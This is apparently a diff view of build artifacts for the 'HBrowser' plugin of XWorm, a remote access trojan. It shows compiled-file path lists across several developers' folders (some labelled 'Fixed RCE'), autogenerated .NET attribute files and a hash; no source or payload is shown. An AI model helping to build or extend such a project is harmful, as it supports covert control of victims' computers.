C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\XCoder\Desktop\Programs\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\HP\Desktop\XWorm V5.6 Optimized - USER HERE\XWorm V5.6\XWorm\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 Source Code\XWorm V6.0 SC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Copy\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - Auto\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.0 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Dark Worm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csprojAssemblyReference.cache
|
||||
C:\Users\Brwa\Desktop\NK\XWorm V6.3 SC Recovery - Fixed RCE - AutoDatabase 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\XWorm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\XWorm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\Projects\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\src 2\XWorm\bin\Debug\Plugins\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\src 2\Plugins\HBrowser\HBrowser\obj\Debug\HBrowser.dll
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")]
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
|
||||
Binary file not shown.
@@ -0,0 +1 @@
|
||||
22cea064a7ad36e930224e18dfebd26dd969ed48589e568ab2238deb5a83efa2
|
||||
@@ -0,0 +1,6 @@
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\bin\Release\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\bin\Release\HBrowser.pdb
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.csproj.AssemblyReference.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.csproj.CoreCompileInputs.cache
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HBrowser\HBrowser\obj\Release\HBrowser.pdb
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user